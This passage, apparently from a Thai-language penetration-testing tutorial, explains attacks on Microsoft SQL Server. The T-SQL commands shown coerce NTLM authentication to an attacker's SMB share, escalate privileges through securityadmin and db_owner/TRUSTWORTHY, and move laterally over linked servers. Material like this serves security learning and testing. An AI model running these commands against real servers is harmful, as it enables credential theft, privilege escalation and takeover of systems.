โดยการ Coercion หรือ Force Authentication ที่ง่ายที่สุดคือการทำให้เครื่องเป้าหมายพยายาม Mount หรือเข้าถึง SMB Share Server ที่ควบคุมโดยผู้โจมตี ในระหว่างการทำ NTLM Negotiation ทางเหยื่อหรือ MSSQL จะทำการส่งรหัสผ่านเพื่อยืนยันตัวตนในรูปแบบ NetNTLMv2 hash ซึ่งสามารถนำไปทำการ crack เพื่อหา plaintext password หรือใช้ทำ NTLM relay เพื่อทำ lateral movement ไปยังเครื่องอื่นได้เช่นกัน

โดยถ้าหากเรามีสิทธิ์เราสามารถใช้ T-SQL ของ MSSQL ต่อไปนี้เพื่อทำ Coercion ได้

EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';
None

Misconfigured Permission

นอกเหนือจากการทำ Impersonation เพื่อรันคำสั่งในฐานะผู้ใช้งานคนอื่นที่เป็นการยกระดับสิทธิ์แบบตรงไปตรงมาแล้ว มาลองดูในมุมของการตั้ง Role กันบ้างดีกว่า

เรามาเริ่มจากตัวอย่าง Server Role ที่น่าสนใจและสามารถนำไป Abuse ได้กันดีกว่า

  • sysadmin — หรือ System Administrator คือสิทธิ์ที่สูงที่สุดแล้วในทางของ login หากเราได้รับสิทธิ์นี้เมื่อไรก็จะสามารถใช้ Advaced Options เพื่อทำ OS Command Execution ได้ทันที
  • securityadmin — เป็น Role ที่ทำหน้าที่ดูแล เพิ่มและลบ Role ให้แก่ผู้ใช้งานอื่นๆ ดูแลการ Authentication หรือ Reset Password แต่ securityadmin จะไม่สามารถ assign sysadmin ได้
  • serveradmin — มีความสามารถในการเปิดหรือปิด Feature ต่างๆ ใน Server ซึ่งรวมไปถึง Advanced Options ด้วย
  • diskadmin — มีความสามารถในการจัดการกับ Physical Database File ซึ่งอาจต่อยอดไปสู่ Directory Traversal, Arbitary File Read หรือ Arbitary File Write ได้เช่นกัน

เราสามารถใช้คำสั่ง SELECT IS_SRVROLEMEMBER('rolename') เพื่อเช็คว่า login ที่เรากำลังใช้งานอยู่มี Server Role อะไรบ้าง โดยในตัวอย่างจะพบว่า myuser มี Role securityadmin

None

ถึงแม้ว่า securityadmin จะไม่สามารถ grant อะไรก็ตามให้ตัวเอง หรือ grant สิทธิ์ที่สูงกว่าตัวเองให้คนอื่นได้ แต่เราสามารถ grant impersonation ให้คนอื่นได้ สมมติว่าเรา Compromise MSSQL User ที่ชื่อว่า database_auditor ซึ่งอาจจะด้วยวิธีการ Reset Password หรืออะไรก็ตาม เราก็สามารถใช้คำสั่งดังต่อไปนี้เพื่อให้ Impersonation แก่ User เป้าหมาย

GRANT IMPERSONATE ANY LOGIN TO database_auditor;

พอเราออกจากระบบของ loginที่เป็น securityadmin แล้วเข้าสู่ระบบอีกทีด้วย database_auditor เราก็สามารถ impersonate ตัวเองเป็น sa เพื่อเปิดและใช้งาน Advanced Option ได้อย่างง่ายดาย

None

ส่วนในมุมของ Database Role ก็สามารถนำมาใช้เพื่อทำ Privilege Escalation ได้เช่นกัน

  • db_owner — MSSQL อนุญาตให้ Database มีเจ้าของได้เพียงแค่คนเดียวเท่านั้น แต่ถ้าเราต้องการจะให้มี owner หลายๆ คนใน Database เดียวเราก็สามารถ Assign Role db_owner ให้แทนไปก่อนได้
  • db_securityadmin - เป็น Role ที่ดูแล Authorization ให้กับ User ใน Database อีกที คล้ายๆ กับ securityadmin ที่ดูแล Authorization ให้กับ Login ใน Server
  • db_backupoperator - มีสิทธิ์ที่จะ Backup Database ใดๆ ก็ได้ในระบบซึ่งรวมไปถึง Database ที่มีการเก็บรหัสผ่านของผู้ใช้งานอีกด้วย

เราสามารถใช้คำสั่ง SELECT IS_ROLEMEMBER('rolename') เพื่อเช็ค Role ของ User ใน Database ที่เรากำลังเปิดอยู่ได้ จากภาพด้านล่างสมมติว่าเรา Compromise User database_auditor ที่มี Role เป็น db_owner บน Database customer_info

None

เราสามารถใช้คำสั่งด้านล่างเพื่อตรวจสอบว่าใครคือเจ้าของที่แท้จริงของ Database

SELECT name, SUSER_SNAME(owner_sid) from sys.databases;

เราจะพบว่าเจ้าของ Database คือ sa ที่เป็น Default Administrator ในทุกๆ MSSQL Server

None

ถ้าหากเราเป็น role db_owner เราจะสามารถใช้ Stored Procedure EXECUTE AS OWNER เราก็จะสามารถรัน T-SQL อะไรก็ตามในฐานะเจ้าของตัวจริงหรือ SA ได้อย่างเต็มที่ ซึ่งนั่นก็รวมไปถึงคำสั่งการให้ SERVER Role หรือ เปิด Advanced Options เป็นต้น แต่ต้องอย่าลืมว่าเวลาเราจะทำอะไรที่มันนอกเหนือจาก Database ตัวเองหรือใช้คำสั่งระดับ Server Database นั้นจะต้องเปิด TRUSTWORTHY เสมอ ซึ่งสามารถตรวจสอบได้ด้วยคำสั่งดังต่อไปนี้

SELECT name, is_trustworthy_on FROM sys.databases;
None

หลังจากเราตรวจสอบแล้วว่าเราสามารถ EXECUTE คำสั่งในฐานะ sa และสามารถเรียกใช้คำสั่งระดับ SERVER ผ่าน TRUSTWORTHY ได้แล้ว เราสามารถใช้ Stored Procedure ด้านล่าง เพื่อเปลี่ยนให้ตัวเราเอง database_auditor ให้มี Server Role เป็น sysadmin

CREATE PROCEDURE sp_elevate WITH EXECUTE AS OWNER AS ALTER SERVER ROLE sysadmin ADD MEMBER database_auditor; 
EXEC sp_elevate;

หลังจากที่เราทำการเพิ่มสิทธิ์ sysadmin ให้แก่ตัวเองแล้วการเปิดใช้งาน Advanced Options ก็ไม่ใช่เรื่องยาก

None

Lateral Movement

ตามที่ได้กล่าวไปว่า MSSQL ก็มี Feature ที่เรียกว่า Linked Server ที่ทำให้เราสามารถรันคำสั่ง SQL ทางไกลบน SQL Server เครื่องหนึ่ง ไปยังอีก SQL Server เครื่องหนึ่งได้ ซึ่งเราก็สามารถใช้ Apply ท่า Privilege Escalation ที่กล่าวมาข้างต้นได้ในทำนองเดียวกัน โดยเฉพาะกรณีที่เราสามารถรันคำสั่งทางไกลในฐานะ Login ที่มีสิทธิ์สูงได้

ด้วยสิทธิ์ Loginที่เพียงพอเราสามารถใช้คำสั่งด้านล่างเพื่อตรวจสอบ SQL Link ที่เปิดอยู่บน MSSQL Server ปัจจุบัน

EXEC sp_linkedservers;

เราก็จะพบว่า MSSQL ปัจจุบัน (SQL01) มีการทำ Link ไปยัง SQL02.

None

ใดๆ ก็ตามการที่ MSSQL Server จะสามารถส่งคำสั่งไปยังอีกเครื่องนั้น เครื่องต้นทางมีความจำเป็นที่จะต้องเปิด Service RPC ใน MSSQL ก่อนเสมอ ซึ่งบางทีผู้พัฒนาอาจจะทำการเพิ่ม Link เอาไว้อยู่แล้วแต่ปิด RPC ชั่วคราวเพื่อทำการพัฒนาหรือแก้ไขบัคในระบบนั่นเอง

SELECT name, is_rpc_out_enabled from sys.servers;

EXEC sp_serveroption 'SQL02', 'rpc out', 'true';
EXEC sp_serveroption 'SQL02', 'rpc', 'true';

สิ่งที่ควรรู้เกี่ยวกับ MSSQL Link ก็คือ Loginต้นทางกับ Login ปลายทางไม่มีความจำเป็นที่จะต้องเป็นคนๆ เดียวกัน หรือมีสิทธิ์เท่ากัน เราสามารถใช้คำสั่งด้านล่างเพื่อตรวจสอบการ Mapping Login ระหว่าง Link ได้

  • Local Login — แสดงถึง Login ต้นทางก่อนจะทำการ Link
  • Remote Login — แสดงถึง Login ปลายทางหลังจากการทำ Link ถ้าตามในภาพเราจะพบว่า Login developer บน SQL01 จะถูก map กับ sa ในปลายทาง SQL02 ซึ่งเป็น login ที่มีสิทธิ์สูงที่สุดในระบบแล้ว
  • Is Self Mapping — เป็นการอธิบายว่าเรา Map อย่างไร 0 แปลว่า Login ต้นทางจะต้อง Forward Authentication ไปยังปลายทาง แต่ถ้าเมื่อไรที่ตั้งค่าเป็น 1 จะหมายความว่า Login ต้นทางจะต้อง Forward Plaintext Credential ไปยังปลายทางเสมอ ซึ่งถ้าเรามีสิทธิ์ Administrator บน Server เมื่อไรเราก็อาจจะสามารถดึงรหัสผ่านนี้ออกมาได้ผ่าน Tool เช่น Get-MSSQLLinkPasswords
EXEC sp_helplinkedsrvlogin
None

เราสามารถใช้คำสั่ง EXECUTE ('SQL STATEMENT') AT TARGET เพื่อส่งคำสั่งทางไกลผ่าน SQL Link ได้ แต่จากการตรวจสอบ Mapping จากภาพด้านบน เราจะพบว่าถึงแม้ว่าเราจะเป็น sa บนเครื่อง SQL01 ที่มีสิทธิ์สูงสุดแล้ว เราก็ไม่สามารถส่งคำสั่งไปยัง SQL02 ได้เพราะไม่ได้อยู่ในรายการ

None

ดังนั้นเราจำเป็นต้องใช้ Login ที่ชื่อว่า developer เท่านั้น เนื่องด้วยที่ว่าเรามีสิทธิ์ sa อยู่แล้วเราสามารถ impersonate เป็นใครก็ได้รวมไปถึงตัว developer นั่นเอง ดังนั้นเราสามารถใช้คำสั่งด้านล่างเพื่อรันคำสั่งที่ SQL02 ผ่าน Link ได้ทันที

EXECUTE AS LOGIN = 'developer'; EXECUTE ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT SQL02;
None

เนื่องจาก login developer ถูก map ด้วย sa บนเครื่อง SQL02 ทำให้เราสามารถเปิดและใช้งาน Advanced Option เพื่อทำการ Compromise SQL02 ได้อย่างง่ายดาย

ปกติแล้ว MSSQL Server จะ Map Local Windows User ที่ชื่อว่า administrator ให้มี Server Role เป็น sysadmin เสมอโดย Default ซึ่งหมายความว่าถ้าเราสามารถยึด Administrator ของตัว Server ได้ เราก็อาจจะสามารถทำการ Pass-the-Hash ของ user Administrator เพื่อเข้าใช้งาน MSSQL Server ในฐานะสิทธิ์สูงสุดของระบบ ทำให้เราสามารถ Enumerate บน MSSQL โดยเฉพาะ Linked Server ได้อย่างแม่นยำมากขึ้นนั่นเอง ซึ่งกรณีนี้ก็สามารถ Apply ได้กับ Domain Administrator เช่นกัน

ขอขอบคุณทุกๆ ท่านที่อ่านบทความนี้ตั้งแต่ต้นจนจบ ขออภัยถ้ามันอาจจะยาวเกินไป พยายามย่อเท่าที่ทำได้แล้วครับ ก็หวังว่าบทความนี้จะมีประโยชน์ไม่มากก็น้อย